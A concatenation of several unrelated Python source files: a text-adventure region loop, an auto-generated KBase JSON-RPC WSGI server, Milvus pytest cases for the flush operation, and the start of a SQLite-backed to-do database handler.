return func_thread
def yield_in_chunks(sliceable, n):
sliceable = list(sliceable)
start_pos = 0
end_pos = n
while start_pos < len(sliceable):
yield sliceable[start_pos:end_pos]
start_pos, end_pos = end_pos, end_pos + n
def log_banner(banner_text):
l = len(banner_text)
margin = 5
width = l + 2*margin + 2
return ['#'*width,
'#' + ' '*(width - 2) + '#',
'#' + ' '*margin + banner_text + ' '*margin + '#',
'#' + ' '*(width - 2) + '#',
'#'*width]
|
region.py | from ParseCampaign import Parser
from Battle import Battle as Arena
from CharacterArray import CharacterArray
import threading
from FormatText import format_text
import Music
import os
clear = lambda: os.system("cls")
class Region:
def __init__(self, filepath=""):
self.region_file = Parser(filepath)
self.arena = Arena()
self.keepMusicOn = True
self.keywords = ['music', 'skirmish', 'battle']
self.characters = CharacterArray()
self.characters, self.campaign, self.atmosphere, self.credits = self.region_file.parse_file()
@staticmethod
def cleanString(lineIn=""):
if lineIn.endswith("\n"):
lineIn = str(lineIn[:len(lineIn) - 1])
return str(lineIn)
def hasKeyword(self, lineIN=""):
for keyword in self.keywords:
if lineIN.__contains__(keyword):
return True
return False
def getKeyword(self, lineIN=""):
for keyword in self.keywords:
if lineIN.__contains__(keyword):
return keyword
return -1
def get_args(self, lineIN=""):
partitions = self.region_file.split_line(lineIN, " => ")
fighter1, fighter2 = self.region_file.split_line(str(partitions[1]), ", ")
return self.cleanString(str(fighter1)), self.cleanString(str(fighter2))
def doFunction(self, keyword="", lineIN=""):
returnValue = None
if keyword.lower().__contains__("skirmish"):
fighters = self.get_args(lineIN)
returnValue = self.arena.skirmish(self.characters.get(fighters[0]), self.characters.get(fighters[1]))
elif keyword.lower().__contains__("battle"):
fighters = self.get_args(lineIN)
returnValue = self.arena.battle(self.characters.get(fighters[0]), self.characters.get(fighters[1]))
elif keyword.lower().__contains__("music"):
partitions = self.region_file.split_line(lineIN, " => ")
music_thread = threading.Thread(target=Music.play_song, args=(self.cleanString(partitions[1]),))
music_thread.start()
clear()
return returnValue
def game_loop(self):
returnValue = None
if len(self.atmosphere) > 0:
for line in self.atmosphere:
if self.hasKeyword(str(line)):
self.doFunction(self.getKeyword(line), line)
clear()
if len(self.campaign) > 0:
for line in self.campaign:
if self.hasKeyword(str(line)):
returnValue = self.doFunction(self.getKeyword(line), line)
input(">")
clear()
else:
if str(line) != "\n":
print(self.cleanString(line))
else:
input(">")
clear()
self.keepMusicOn = False
if len(self.credits) > 0:
clear()
print("Credits:")
for credit in self.credits:
print(credit)
input(">")
return returnValue
|
omreegalozMediaPermutationsServer.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import datetime
import json
import os
import random as _random
import sys
import traceback
from getopt import getopt, GetoptError
from multiprocessing import Process
from os import environ
from wsgiref.simple_server import make_server
import requests as _requests
from jsonrpcbase import JSONRPCService, InvalidParamsError, KeywordError, \
JSONRPCError, InvalidRequestError
from jsonrpcbase import ServerError as JSONServerError
from biokbase import log
from omreegalozMediaPermutations.authclient import KBaseAuth as _KBaseAuth
try:
from ConfigParser import ConfigParser
except ImportError:
from configparser import ConfigParser
DEPLOY = 'KB_DEPLOYMENT_CONFIG'
SERVICE = 'KB_SERVICE_NAME'
AUTH = 'auth-service-url'
# Note that the error fields do not match the 2.0 JSONRPC spec
def get_config_file():
return environ.get(DEPLOY, None)
def get_service_name():
return environ.get(SERVICE, None)
def get_config():
if not get_config_file():
return None
retconfig = {}
config = ConfigParser()
config.read(get_config_file())
for nameval in config.items(get_service_name() or 'omreegalozMediaPermutations'):
retconfig[nameval[0]] = nameval[1]
return retconfig
config = get_config()
from omreegalozMediaPermutations.omreegalozMediaPermutationsImpl import omreegalozMediaPermutations # noqa @IgnorePep8
impl_omreegalozMediaPermutations = omreegalozMediaPermutations(config)
class JSONObjectEncoder(json.JSONEncoder):
def default(self, obj):
if isinstance(obj, set):
return list(obj)
if isinstance(obj, frozenset):
return list(obj)
if hasattr(obj, 'toJSONable'):
return obj.toJSONable()
return json.JSONEncoder.default(self, obj)
class JSONRPCServiceCustom(JSONRPCService):
def call(self, ctx, jsondata):
"""
Calls jsonrpc service's method and returns its return value in a JSON
string or None if there is none.
Arguments:
jsondata -- remote method call in jsonrpc format
"""
result = self.call_py(ctx, jsondata)
if result is not None:
return json.dumps(result, cls=JSONObjectEncoder)
return None
def _call_method(self, ctx, request):
"""Calls given method with given params and returns it value."""
method = self.method_data[request['method']]['method']
params = request['params']
result = None
try:
if isinstance(params, list):
# Does it have enough arguments?
if len(params) < self._man_args(method) - 1:
raise InvalidParamsError('not enough arguments')
# Does it have too many arguments?
if(not self._vargs(method) and len(params) >
self._max_args(method) - 1):
raise InvalidParamsError('too many arguments')
result = method(ctx, *params)
elif isinstance(params, dict):
# Do not accept keyword arguments if the jsonrpc version is
# not >=1.1.
if request['jsonrpc'] < 11:
raise KeywordError
result = method(ctx, **params)
else: # No params
result = method(ctx)
except JSONRPCError:
raise
except Exception as e:
# log.exception('method %s threw an exception' % request['method'])
# Exception was raised inside the method.
newerr = JSONServerError()
newerr.trace = traceback.format_exc()
if len(e.args) == 1:
newerr.data = repr(e.args[0])
else:
newerr.data = repr(e.args)
raise newerr
return result
def call_py(self, ctx, jsondata):
"""
Calls jsonrpc service's method and returns its return value in python
object format or None if there is none.
This method is same as call() except the return value is a python
object instead of JSON string. This method is mainly only useful for
debugging purposes.
"""
rdata = jsondata
# we already deserialize the json string earlier in the server code, no
# need to do it again
# try:
# rdata = json.loads(jsondata)
# except ValueError:
# raise ParseError
# set some default values for error handling
request = self._get_default_vals()
if isinstance(rdata, dict) and rdata:
# It's a single request.
self._fill_request(request, rdata)
respond = self._handle_request(ctx, request)
# Don't respond to notifications
if respond is None:
return None
return respond
elif isinstance(rdata, list) and rdata:
# It's a batch.
requests = []
responds = []
for rdata_ in rdata:
# set some default values for error handling
request_ = self._get_default_vals()
self._fill_request(request_, rdata_)
requests.append(request_)
for request_ in requests:
respond = self._handle_request(ctx, request_)
# Don't respond to notifications
if respond is not None:
responds.append(respond)
if responds:
return responds
# Nothing to respond.
return None
else:
# empty dict, list or wrong type
raise InvalidRequestError
def _handle_request(self, ctx, request):
"""Handles given request and returns its response."""
if 'types' in self.method_data[request['method']]:
self._validate_params_types(request['method'], request['params'])
result = self._call_method(ctx, request)
# Do not respond to notifications.
if request['id'] is None:
return None
respond = {}
self._fill_ver(request['jsonrpc'], respond)
respond['result'] = result
respond['id'] = request['id']
return respond
class MethodContext(dict):
def __init__(self, logger):
self['client_ip'] = None
self['user_id'] = None
self['authenticated'] = None
self['token'] = None
self['module'] = None
self['method'] = None
self['call_id'] = None
self['rpc_context'] = None
self['provenance'] = None
self._debug_levels = set([7, 8, 9, 'DEBUG', 'DEBUG2', 'DEBUG3'])
self._logger = logger
def log_err(self, message):
self._log(log.ERR, message)
def log_info(self, message):
self._log(log.INFO, message)
def log_debug(self, message, level=1):
if level in self._debug_levels:
pass
else:
level = int(level)
if level < 1 or level > 3:
raise ValueError("Illegal log level: " + str(level))
level = level + 6
self._log(level, message)
def set_log_level(self, level):
self._logger.set_log_level(level)
def get_log_level(self):
return self._logger.get_log_level()
def clear_log_level(self):
self._logger.clear_user_log_level()
def _log(self, level, message):
self._logger.log_message(level, message, self['client_ip'],
self['user_id'], self['module'],
self['method'], self['call_id'])
def provenance(self):
callbackURL = os.environ.get('SDK_CALLBACK_URL')
if callbackURL:
# OK, there's a callback server from which we can get provenance
arg_hash = {'method': 'CallbackServer.get_provenance',
'params': [],
'version': '1.1',
'id': str(_random.random())[2:]
}
body = json.dumps(arg_hash)
response = _requests.post(callbackURL, data=body,
timeout=60)
response.encoding = 'utf-8'
if response.status_code == 500:
if ('content-type' in response.headers and
response.headers['content-type'] ==
'application/json'):
err = response.json()
if 'error' in err:
raise ServerError(**err['error'])
else:
raise ServerError('Unknown', 0, response.text)
else:
raise ServerError('Unknown', 0, response.text)
if not response.ok:
response.raise_for_status()
resp = response.json()
if 'result' not in resp:
raise ServerError('Unknown', 0,
'An unknown server error occurred')
return resp['result'][0]
else:
return self.get('provenance')
class ServerError(Exception):
'''
The call returned an error. Fields:
name - the name of the error.
code - the error code.
message - a human readable error message.
data - the server side stacktrace.
'''
def __init__(self, name, code, message, data=None, error=None):
super(Exception, self).__init__(message)
self.name = name
self.code = code
self.message = message if message else ''
self.data = data or error or ''
# data = JSON RPC 2.0, error = 1.1
def __str__(self):
return self.name + ': ' + str(self.code) + '. ' + self.message + \
'\n' + self.data
def getIPAddress(environ):
xFF = environ.get('HTTP_X_FORWARDED_FOR')
realIP = environ.get('HTTP_X_REAL_IP')
trustXHeaders = config is None or \
config.get('dont_trust_x_ip_headers') != 'true'
if (trustXHeaders):
if (xFF):
return xFF.split(',')[0].strip()
if (realIP):
return realIP.strip()
return environ.get('REMOTE_ADDR')
class Application(object):
# Wrap the wsgi handler in a class definition so that we can
# do some initialization and avoid regenerating stuff over
# and over
def logcallback(self):
self.serverlog.set_log_file(self.userlog.get_log_file())
def log(self, level, context, message):
self.serverlog.log_message(level, message, context['client_ip'],
context['user_id'], context['module'],
context['method'], context['call_id'])
def __init__(self):
submod = get_service_name() or 'omreegalozMediaPermutations'
self.userlog = log.log(
submod, ip_address=True, authuser=True, module=True, method=True,
call_id=True, changecallback=self.logcallback,
config=get_config_file())
self.serverlog = log.log(
submod, ip_address=True, authuser=True, module=True, method=True,
call_id=True, logfile=self.userlog.get_log_file())
self.serverlog.set_log_level(6)
self.rpc_service = JSONRPCServiceCustom()
self.method_authentication = dict()
self.rpc_service.add(impl_omreegalozMediaPermutations.run_omreegalozMediaPermutations,
name='omreegalozMediaPermutations.run_omreegalozMediaPermutations',
types=[dict])
self.method_authentication['omreegalozMediaPermutations.run_omreegalozMediaPermutations'] = 'required' # noqa
self.rpc_service.add(impl_omreegalozMediaPermutations.status,
name='omreegalozMediaPermutations.status',
types=[dict])
authurl = config.get(AUTH) if config else None
self.auth_client = _KBaseAuth(authurl)
def __call__(self, environ, start_response):
# Context object, equivalent to the perl impl CallContext
ctx = MethodContext(self.userlog)
ctx['client_ip'] = getIPAddress(environ)
status = '500 Internal Server Error'
try:
body_size = int(environ.get('CONTENT_LENGTH', 0))
except (ValueError):
body_size = 0
if environ['REQUEST_METHOD'] == 'OPTIONS':
# we basically do nothing and just return headers
status = '200 OK'
rpc_result = ""
else:
request_body = environ['wsgi.input'].read(body_size)
try:
req = json.loads(request_body)
except ValueError as ve:
err = {'error': {'code': -32700,
'name': "Parse error",
'message': str(ve),
}
}
rpc_result = self.process_error(err, ctx, {'version': '1.1'})
else:
ctx['module'], ctx['method'] = req['method'].split('.')
ctx['call_id'] = req['id']
ctx['rpc_context'] = {
'call_stack': [{'time': self.now_in_utc(),
'method': req['method']}
]
}
prov_action = {'service': ctx['module'],
'method': ctx['method'],
'method_params': req['params']
}
ctx['provenance'] = [prov_action]
try:
token = environ.get('HTTP_AUTHORIZATION')
# parse out the method being requested and check if it
# has an authentication requirement
method_name = req['method']
auth_req = self.method_authentication.get(
method_name, 'none')
if auth_req != 'none':
if token is None and auth_req == 'required':
err = JSONServerError()
err.data = (
'Authentication required for ' +
'omreegalozMediaPermutations ' +
'but no authentication header was passed')
raise err
elif token is None and auth_req == 'optional':
pass
else:
try:
user = self.auth_client.get_user(token)
ctx['user_id'] = user
ctx['authenticated'] = 1
ctx['token'] = token
except Exception as e:
if auth_req == 'required':
err = JSONServerError()
err.data = \
"Token validation failed: %s" % e
raise err
if (environ.get('HTTP_X_FORWARDED_FOR')):
self.log(log.INFO, ctx, 'X-Forwarded-For: ' +
environ.get('HTTP_X_FORWARDED_FOR'))
self.log(log.INFO, ctx, 'start method')
rpc_result = self.rpc_service.call(ctx, req)
self.log(log.INFO, ctx, 'end method')
status = '200 OK'
except JSONRPCError as jre:
err = {'error': {'code': jre.code,
'name': jre.message,
'message': jre.data
}
}
trace = jre.trace if hasattr(jre, 'trace') else None
rpc_result = self.process_error(err, ctx, req, trace)
except Exception:
err = {'error': {'code': 0,
'name': 'Unexpected Server Error',
'message': 'An unexpected server error ' +
'occurred',
}
}
rpc_result = self.process_error(err, ctx, req,
traceback.format_exc())
# print('Request method was %s\n' % environ['REQUEST_METHOD'])
# print('Environment dictionary is:\n%s\n' % pprint.pformat(environ))
# print('Request body was: %s' % request_body)
# print('Result from the method call is:\n%s\n' % \
# pprint.pformat(rpc_result))
if rpc_result:
response_body = rpc_result
else:
response_body = ''
response_headers = [
('Access-Control-Allow-Origin', '*'),
('Access-Control-Allow-Headers', environ.get(
'HTTP_ACCESS_CONTROL_REQUEST_HEADERS', 'authorization')),
('content-type', 'application/json'),
('content-length', str(len(response_body)))]
start_response(status, response_headers)
return [response_body.encode('utf8')]
def process_error(self, error, context, request, trace=None):
if trace:
self.log(log.ERR, context, trace.split('\n')[0:-1])
if 'id' in request:
error['id'] = request['id']
if 'version' in request:
error['version'] = request['version']
e = error['error'].get('error')
if not e:
error['error']['error'] = trace
elif 'jsonrpc' in request:
error['jsonrpc'] = request['jsonrpc']
error['error']['data'] = trace
else:
error['version'] = '1.0'
error['error']['error'] = trace
return json.dumps(error)
def now_in_utc(self):
# noqa Taken from http://stackoverflow.com/questions/3401428/how-to-get-an-isoformat-datetime-string-including-the-default-timezone @IgnorePep8
dtnow = datetime.datetime.now()
dtutcnow = datetime.datetime.utcnow()
delta = dtnow - dtutcnow
hh, mm = divmod((delta.days * 24 * 60 * 60 + delta.seconds + 30) // 60,
60)
return "%s%+02d:%02d" % (dtnow.isoformat(), hh, mm)
application = Application()
# This is the uwsgi application dictionary. On startup uwsgi will look
# for this dict and pull its configuration from here.
# This simply lists where to "mount" the application in the URL path
#
# This uwsgi module "magically" appears when running the app within
# uwsgi and is not available otherwise, so wrap an exception handler
# around it
#
# To run this server in uwsgi with 4 workers listening on port 9999 use:
# uwsgi -M -p 4 --http :9999 --wsgi-file _this_file_
# To run a using the single threaded python BaseHTTP service
# listening on port 9999 by default execute this file
#
try:
import uwsgi
# Before we do anything with the application, see if the
# configs specify patching all std routines to be asynch
# *ONLY* use this if you are going to wrap the service in
# a wsgi container that has enabled gevent, such as
# uwsgi with the --gevent option
if config is not None and config.get('gevent_monkeypatch_all', False):
print("Monkeypatching std libraries for async")
from gevent import monkey
monkey.patch_all()
uwsgi.applications = {'': application}
except ImportError:
# Not available outside of wsgi, ignore
pass
_proc = None
def start_server(host='localhost', port=0, newprocess=False):
'''
By default, will start the server on localhost on a system assigned port
in the main thread. Excecution of the main thread will stay in the server
main loop until interrupted. To run the server in a separate process, and
thus allow the stop_server method to be called, set newprocess = True. This
will also allow returning of the port number.'''
global _proc
if _proc:
raise RuntimeError('server is already running')
httpd = make_server(host, port, application)
port = httpd.server_address[1]
print("Listening on port %s" % port)
if newprocess:
_proc = Process(target=httpd.serve_forever)
_proc.daemon = True
_proc.start()
else:
httpd.serve_forever()
return port
def stop_server():
global _proc
_proc.terminate()
_proc = None
def process_async_cli(input_file_path, output_file_path, token):
exit_code = 0
with open(input_file_path) as data_file:
req = json.load(data_file)
if 'version' not in req:
req['version'] = '1.1'
if 'id' not in req:
req['id'] = str(_random.random())[2:]
ctx = MethodContext(application.userlog)
if token:
user = application.auth_client.get_user(token)
ctx['user_id'] = user
ctx['authenticated'] = 1
ctx['token'] = token
if 'context' in req:
ctx['rpc_context'] = req['context']
ctx['CLI'] = 1
ctx['module'], ctx['method'] = req['method'].split('.')
prov_action = {'service': ctx['module'], 'method': ctx['method'],
'method_params': req['params']}
ctx['provenance'] = [prov_action]
resp = None
try:
resp = application.rpc_service.call_py(ctx, req)
except JSONRPCError as jre:
trace = jre.trace if hasattr(jre, 'trace') else None
resp = {'id': req['id'],
'version': req['version'],
'error': {'code': jre.code,
'name': jre.message,
'message': jre.data,
'error': trace}
}
except Exception:
trace = traceback.format_exc()
resp = {'id': req['id'],
'version': req['version'],
'error': {'code': 0,
'name': 'Unexpected Server Error',
'message': 'An unexpected server error occurred',
'error': trace}
}
if 'error' in resp:
exit_code = 500
with open(output_file_path, "w") as f:
f.write(json.dumps(resp, cls=JSONObjectEncoder))
return exit_code
if __name__ == "__main__":
if (len(sys.argv) >= 3 and len(sys.argv) <= 4 and
os.path.isfile(sys.argv[1])):
token = None
if len(sys.argv) == 4:
if os.path.isfile(sys.argv[3]):
with open(sys.argv[3]) as token_file:
token = token_file.read()
else:
token = sys.argv[3]
sys.exit(process_async_cli(sys.argv[1], sys.argv[2], token))
try:
opts, args = getopt(sys.argv[1:], "", ["port=", "host="])
except GetoptError as err:
# print help information and exit:
print(str(err)) # will print something like "option -a not recognized"
sys.exit(2)
port = 9999
host = 'localhost'
for o, a in opts:
if o == '--port':
port = int(a)
elif o == '--host':
host = a
print("Host set to %s" % host)
else:
assert False, "unhandled option"
start_server(host=host, port=port)
# print("Listening on port %s" % port)
# httpd = make_server( host, port, application)
#
# httpd.serve_forever()
|
test_flush.py | import pytest
from utils.util_pymilvus import *
from common.constants import default_entities
from common.common_type import CaseLabel
from utils.util_log import test_log as log
DELETE_TIMEOUT = 60
default_single_query = {
"data": gen_vectors(1, default_dim),
"anns_field": default_float_vec_field_name,
"param": {"metric_type": "L2", "params": {"nprobe": 10}},
"limit": 10,
}
class TestFlushBase:
"""
******************************************************************
The following cases are used to test `flush` function
******************************************************************
"""
@pytest.fixture(
scope="function",
params=gen_simple_index()
)
def get_simple_index(self, request, connect):
# if str(connect._cmd("mode")[1]) == "GPU":
# if request.param["index_type"] not in ivf():
# pytest.skip("Only support index_type: idmap/flat")
return request.param
@pytest.fixture(
scope="function",
params=gen_single_filter_fields()
)
def get_filter_field(self, request):
yield request.param
@pytest.fixture(
scope="function",
params=gen_single_vector_fields()
)
def get_vector_field(self, request):
yield request.param
@pytest.mark.tags(CaseLabel.L0)
def test_flush_collection_not_existed(self, connect, collection):
"""
target: test flush, params collection_name not existed
method: flush, with collection not existed
expected: error raised
"""
collection_new = gen_unique_str("test_flush_1")
try:
connect.flush([collection_new])
except Exception as e:
code = getattr(e, 'code', "The exception does not contain the field of code.")
assert code == 1
message = getattr(e, 'message', "The exception does not contain the field of message.")
assert message == "DescribeCollection failed: can't find collection: %s" % collection_new
@pytest.mark.tags(CaseLabel.L0)
def test_flush_empty_collection(self, connect, collection):
"""
method: flush collection with no vectors
expected: no error raised
"""
connect.flush([collection])
results = connect.insert(collection, default_entities)
assert len(results.primary_keys) == default_nb
connect.flush([collection])
res = connect.get_collection_stats(collection)
assert res["row_count"] == default_nb
connect.flush([collection])
@pytest.mark.tags(CaseLabel.L2)
def test_add_partition_flush(self, connect, id_collection):
"""
method: add entities into partition in collection, flush several times
expected: the length of ids and the collection row count
"""
connect.create_partition(id_collection, default_tag)
result = connect.insert(id_collection, default_entities)
connect.flush([id_collection])
res_count = connect.get_collection_stats(id_collection)
assert res_count["row_count"] == default_nb
result = connect.insert(id_collection, default_entities, partition_name=default_tag)
assert len(result.primary_keys) == default_nb
connect.flush([id_collection])
res_count = connect.get_collection_stats(id_collection)
assert res_count["row_count"] == default_nb * 2
@pytest.mark.tags(CaseLabel.L0)
def test_add_partitions_flush(self, connect, id_collection):
"""
method: add entities into partitions in collection, flush one
expected: the length of ids and the collection row count
"""
tag_new = gen_unique_str()
connect.create_partition(id_collection, default_tag)
connect.create_partition(id_collection, tag_new)
connect.insert(id_collection, default_entities, partition_name=default_tag)
connect.flush([id_collection])
connect.insert(id_collection, default_entities, partition_name=tag_new)
connect.flush([id_collection])
res = connect.get_collection_stats(id_collection)
assert res["row_count"] == 2 * default_nb
@pytest.mark.tags(CaseLabel.L0)
def test_add_collections_flush(self, connect, id_collection):
"""
method: add entities into collections, flush one
expected: the length of ids and the collection row count
"""
collection_new = gen_unique_str()
default_fields = gen_default_fields(False)
connect.create_collection(collection_new, default_fields)
connect.create_partition(id_collection, default_tag)
connect.create_partition(collection_new, default_tag)
[i for i in range(default_nb)]
connect.insert(id_collection, default_entities, partition_name=default_tag)
connect.insert(collection_new, default_entities, partition_name=default_tag)
connect.flush([id_collection])
connect.flush([collection_new])
res = connect.get_collection_stats(id_collection)
assert res["row_count"] == default_nb
res = connect.get_collection_stats(collection_new)
assert res["row_count"] == default_nb
@pytest.mark.tags(CaseLabel.L2)
def test_add_collections_fields_flush(self, connect, id_collection, get_filter_field, get_vector_field):
"""
method: create collection with different fields, and add entities into collections, flush one
expected: the length of ids and the collection row count
"""
nb_new = 5
filter_field = get_filter_field
vector_field = get_vector_field
collection_new = gen_unique_str("test_flush")
fields = {
"fields": [gen_primary_field(), filter_field, vector_field],
"segment_row_limit": default_segment_row_limit,
"auto_id": False
}
connect.create_collection(collection_new, fields)
connect.create_partition(id_collection, default_tag)
connect.create_partition(collection_new, default_tag)
entities_new = gen_entities_by_fields(fields["fields"], nb_new, default_dim)
connect.insert(id_collection, default_entities, partition_name=default_tag)
connect.insert(collection_new, entities_new, partition_name=default_tag)
connect.flush([id_collection])
connect.flush([collection_new])
res = connect.get_collection_stats(id_collection)
assert res["row_count"] == default_nb
res = connect.get_collection_stats(collection_new)
assert res["row_count"] == nb_new
# TODO ci failed
@pytest.mark.tags(CaseLabel.L0)
def test_add_flush_multiable_times(self, connect, collection):
"""
method: add entities, flush several times
expected: no error raised
"""
result = connect.insert(collection, default_entities)
for i in range(10):
connect.flush([collection])
res = connect.get_collection_stats(collection)
assert res["row_count"] == len(result.primary_keys)
connect.load_collection(collection)
res = connect.search(collection, **default_single_query)
log.debug(res)
assert len(res) == 1
assert len(res[0].ids) == 10
assert len(res[0].distances) == 10
@pytest.mark.tags(CaseLabel.L2)
def test_add_flush_auto(self, connect, id_collection):
"""
method: add entities
expected: no error raised
"""
ids = [i for i in range(default_nb)]
result = connect.insert(id_collection, default_entities)
# add flush
connect.flush([id_collection])
timeout = 20
start_time = time.time()
while time.time() - start_time < timeout:
time.sleep(1)
res = connect.get_collection_stats(id_collection)
if res["row_count"] == default_nb:
break
if time.time() - start_time > timeout:
assert False
@pytest.fixture(
scope="function",
params=[
1,
100
],
)
def same_ids(self, request):
yield request.param
@pytest.mark.tags(CaseLabel.L0)
def test_add_flush_same_ids(self, connect, id_collection, same_ids):
"""
method: add entities, with same ids, count(same ids) < 15, > 15
expected: the length of ids and the collection row count
"""
ids = [i for i in range(default_nb)]
for i, item in enumerate(ids):
if item <= same_ids:
ids[i] = 0
result = connect.insert(id_collection, default_entities)
connect.flush([id_collection])
res = connect.get_collection_stats(id_collection)
assert res["row_count"] == default_nb
@pytest.mark.tags(CaseLabel.L0)
def test_delete_flush_multiable_times(self, connect, collection):
"""
method: delete entities, flush several times
expected: no error raised
"""
result = connect.insert(collection, default_entities)
# status = connect.delete_entity_by_id(collection, [ids[-1]])
# assert status.OK()
for i in range(10):
connect.flush([collection])
# query_vecs = [vectors[0], vectors[1], vectors[-1]]
connect.load_collection(collection)
res = connect.search(collection, **default_single_query)
assert len(res) == 1
assert len(res[0].ids) == 10
assert len(res[0].distances) == 10
log.debug(res)
# assert res
# TODO: unable to set config
@pytest.mark.tags(CaseLabel.L2)
def _test_collection_count_during_flush(self, connect, collection, args):
"""
method: flush collection at background, call `get_collection_stats`
expected: no timeout
"""
ids = []
for i in range(5):
tmp_ids = connect.insert(collection, default_entities)
connect.flush([collection])
ids.extend(tmp_ids)
disable_flush(connect)
# status = connect.delete_entity_by_id(collection, ids)
def flush():
milvus = get_milvus(args["ip"], args["port"], handler=args["handler"])
logging.error("start flush")
milvus.flush([collection])
logging.error("end flush")
p = MyThread(target=flush, args=())
p.start()
time.sleep(0.2)
logging.error("start count")
res = connect.get_collection_stats(collection, timeout=10)
p.join()
res = connect.get_collection_stats(collection)
assert res["row_count"] == 0
@pytest.mark.tags(CaseLabel.L2)
def test_delete_flush_during_search(self, connect, collection, args):
"""
method: search at background, call `flush`
expected: no timeout
"""
ids = []
loops = 5
for i in range(loops):
tmp = connect.insert(collection, default_entities)
connect.flush([collection])
ids.extend(tmp.primary_keys)
nq = 10000
query, _ = gen_search_vectors_params(default_float_vec_field_name, default_entities, default_top_k, nq)
time.sleep(0.1)
connect.load_collection(collection)
future = connect.search(collection, **query, _async=True)
res = future.result()
assert res
connect.flush([collection])
res_count = connect.get_collection_stats(collection, timeout=120)
assert res_count["row_count"] == loops * default_nb
class TestFlushAsync:
@pytest.fixture(scope="function", autouse=True)
def skip_http_check(self, args):
if args["handler"] == "HTTP":
pytest.skip("skip in http mode")
"""
******************************************************************
The following cases are used to test `flush` function
******************************************************************
"""
def check_status(self):
log.info("In callback check status")
@pytest.mark.tags(CaseLabel.L2)
def test_flush_empty_collection(self, connect, collection):
"""
method: flush collection with no vectors
expected: status ok
"""
future = connect.flush([collection], _async=True)
status = future.result()
assert status is None
@pytest.mark.tags(CaseLabel.L2)
def test_flush_async_long(self, connect, collection):
"""
target: test async flush
method: async flush collection
expected: status ok
"""
result = connect.insert(collection, default_entities)
assert len(result.primary_keys) == default_nb
future = connect.flush([collection], _async=True)
status = future.result()
assert status is None
@pytest.mark.tags(CaseLabel.L0)
def test_flush_async_long_drop_collection(self, connect, collection):
"""
target: test drop collection after async flush
method: drop collection after async flush collection
expected: status ok
"""
for i in range(5):
result = connect.insert(collection, default_entities)
assert len(result.primary_keys) == default_nb
future = connect.flush([collection], _async=True)
assert future.result() is None
log.info("DROP")
res = connect.drop_collection(collection)
assert res is None
@pytest.mark.tags(CaseLabel.L0)
def test_flush_async(self, connect, collection):
"""
target: test async flush
method: async flush collection with callback
expected: status ok
"""
connect.insert(collection, default_entities)
log.info("before")
future = connect.flush([collection], _async=True, _callback=self.check_status)
log.info("after")
future.done()
status = future.result()
assert status is None
class TestCollectionNameInvalid(object):
"""
Test adding vectors with invalid collection names
"""
@pytest.fixture(
scope="function",
params=gen_invalid_strs()
)
def get_invalid_collection_name(self, request):
yield request.param
@pytest.mark.tags(CaseLabel.L2)
def test_flush_with_invalid_collection_name(self, connect, get_invalid_collection_name):
"""
target: test flush when collection is invalid
method: flush collection with invalid name
expected: raise exception
"""
collection_name = get_invalid_collection_name
if collection_name is None or not collection_name:
pytest.skip("while collection_name is None, then flush all collections")
with pytest.raises(Exception) as e:
connect.flush(collection_name)
@pytest.mark.tags(CaseLabel.L0)
def test_flush_empty(self, connect, collection):
"""
target: test flush with empty collection list
method: flush with empty collection params
expected: raise exception
"""
result = connect.insert(collection, default_entities)
assert len(result.primary_keys) == default_nb
try:
connect.flush()
except Exception as e:
assert e.args[0] == "Collection name list can not be None or empty"
|
DataBaseOperations.py | import os
import sqlite3
import threading
import concurrent.futures
class Query:
tag_table = "CREATE TABLE IF NOT EXISTS tag(tag_name VARCHAR(30) UNIQUE, tag_path VARCHAR(100) UNIQUE)"
project_table = "CREATE TABLE IF NOT EXISTS project(id integer primary key, datetime DATETIME , " \
"tag_name VARCHAR(30), tag_img_path VARCHAR(100), project_text VARCHAR(2000))"
goal_table = "CREATE TABLE IF NOT EXISTS goal(id integer primary key, datetime DATETIME , tag_name VARCHAR(30), " \
"tag_img_path VARCHAR(100), goal_text VARCHAR(2000))"
todo_table = "CREATE TABLE IF NOT EXISTS todo(id integer primary key, datetime DATETIME , tag_name VARCHAR(30), " \
"tag_img_path VARCHAR(100), todo_text VARCHAR(2000))"
insert_to_tag = "INSERT INTO tag(tag_name, tag_path) VALUES(?, ?)"
insert_to_project = "INSERT INTO project(datetime, tag_name, tag_img_path, project_text) VALUES(?, ?, ?, ?)"
insert_to_goal = "INSERT INTO goal(datetime, tag_name, tag_img_path, goal_text) VALUES(?, ?, ?, ?)"
insert_to_todo = "INSERT INTO todo(datetime, tag_name, tag_img_path, todo_text) VALUES(?, ?, ?, ?)"
get_all_tags = "SELECT * FROM tag ORDER BY tag_name COLLATE NOCASE ASC"
get_all_projects = "SELECT * FROM project ORDER BY datetime ASC"
get_all_goals = "SELECT * FROM goal ORDER BY datetime ASC"
get_all_todo = "SELECT * FROM todo ORDER BY datetime ASC"
get_tag_where = "SELECT * FROM tag WHERE tag_name = (?)"
get_project_where_tag = "SELECT * FROM project WHERE tag_name = (?)"
get_goal_where_tag = "SELECT * FROM goal WHERE tag_name = (?)"
get_todo_where_tag = "SELECT * FROM todo WHERE tag_name = (?)"
delete_tag = "DELETE FROM tag WHERE tag_name = (?) AND tag_path = (?)"
delete_project_where_tag = "DELETE FROM project WHERE tag_name = (?)"
delete_goal_where_tag = "DELETE FROM goal WHERE tag_name = (?)"
delete_todo_where_tag = "DELETE FROM todo WHERE tag_name = (?)"
delete_project_where_id = "DELETE FROM project WHERE id = (?)"
delete_goal_where_id = "DELETE FROM goal WHERE id = (?)"
delete_todo_where_id = "DELETE FROM todo WHERE id = (?)"
update_project_where_id = "UPDATE project SET datetime=(?), tag_name=(?), tag_img_path=(?)," \
" project_text=(?) WHERE id=(?)"
update_goal_where_id = "UPDATE goal SET datetime=(?), tag_name=(?), tag_img_path=(?)," \
" goal_text=(?) WHERE id=(?)"
update_todo_where_id = "UPDATE todo SET datetime=(?), tag_name=(?), tag_img_path=(?)," \
" todo_text=(?) WHERE id=(?)"
get_all_tables_by_date = "SELECT * FROM (SELECT 'Goal', * FROM goal UNION ALL SELECT 'Todo', * FROM todo) ORDER " \
"BY datetime ASC "
schedule_for_notification = "SELECT * FROM (SELECT 'Goal', tag_name, datetime, goal_text FROM goal UNION ALL " \
"SELECT 'Event', tag_name, datetime, todo_text FROM todo UNION ALL " \
"SELECT 'Project', tag_name, datetime, project_text FROM project) ORDER BY datetime ASC"
class DBHandler:
_sql_file = r"UserResources/userTodo.db"
registered_classes = {} # stores the class instances that needs to be notified of the change in database
user_resources = r"UserResources"
img_folder = r"UserResources/tag_images"
@classmethod
def initialize_files(cls): # creates the folder if it doesn't exist
if not os.path.isdir(
cls.user_resources): # check if the UserResources folder exists if it doesn't exits create it
